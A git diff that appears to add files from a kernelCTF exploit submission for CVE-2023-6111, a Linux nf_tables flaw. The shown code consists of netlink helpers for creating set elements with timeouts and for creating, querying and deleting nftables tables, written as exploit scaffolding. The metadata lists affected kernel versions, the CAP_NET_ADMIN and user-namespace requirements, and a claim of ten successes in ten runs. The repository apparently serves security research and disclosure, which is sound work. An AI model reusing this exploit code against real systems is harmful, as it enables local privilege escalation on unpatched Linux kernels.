(NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + + + +void new_setelem_with_expiration(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall, uint64_t expiration_time){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + nla_put_u64(elem_nest, NFTA_SET_ELEM_EXPIRATION, expiration_time); + nla_put_u64(elem_nest, NFTA_SET_ELEM_TIMEOUT, expiration_time); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} diff --git a/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/table.h b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/table.h new file mode 100644 index 00000000..9b45aa03 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/table.h @@ -0,0 +1,197 @@ +void new_table(struct nl_sock * socket, char *name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create table\n"); + } +} + +void get_table(struct nl_sock * socket, char *name){ + //init msg + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + nfnlmsg_put( + msg, + NL_AUTO_PID, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_SUBSYS_NFTABLES, //SUBSYS + NFT_MSG_GETTABLE, // TYPE + NLM_F_REQUEST, //NLM_F_ECHO + 2, //FAMILY + 0 //RES_ID + ); + //init msg + nla_put_string(msg, NFTA_TABLE_NAME, name); + + int res = nl_send_auto(socket, msg); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Get table %s\n",name); + } +} + +void new_table_with_udata(struct nl_sock * socket, char *name,char *udata, int len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + nla_put(msg2,NFTA_TABLE_USERDATA,len,udata); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create table\n"); + } +} + +void del_table(struct nl_sock * socket, char *table_name){ + + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + + nla_put_string(msg2, NFTA_TABLE_NAME, table_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Delete object %s\n",obj_name); + } +} diff --git a/pocs/linux/kernelctf/CVE-2023-6111_lts/metadata.json b/pocs/linux/kernelctf/CVE-2023-6111_lts/metadata.json new file mode 100644 index 00000000..45eb2fe8 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6111_lts/metadata.json @@ -0,0 +1,36 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v2.json", + "submission_ids":[ + "exp109" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=93995bf4af2c5a99e2a87f0cd5ce547d31eb7630", + "cve":"CVE-2023-6111", + "affected_versions":[ + "6.1.56 - 6.1.63", + "5.15.134 - 5.15.139" + ], + "requirements":{ + "attack_surface":[ + + ], + "capabilities":[ + "CAP_NET_ADMIN" + ], + "kernel_config":[ + "CONFIG_NETFILTER", + "CONFIG_NF_TABLES" + ] + } + }, + "exploits":[ + { + "environment":"lts-6.1.60", + "uses":[ + "userns" + ], + "requires_seperate_kaslr_leak":false, + "stability_notes":"10 times success per 10 times run" + } + ] + } diff --git a/pocs/linux/kernelctf/CVE-2023-6111_lts/original.tar.gz b/pocs/linux/kernelctf/CVE-2023-6111_lts/original.tar.gz new file mode 100644 index 00000000..e838b272 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-6111_lts/original.tar.gz differ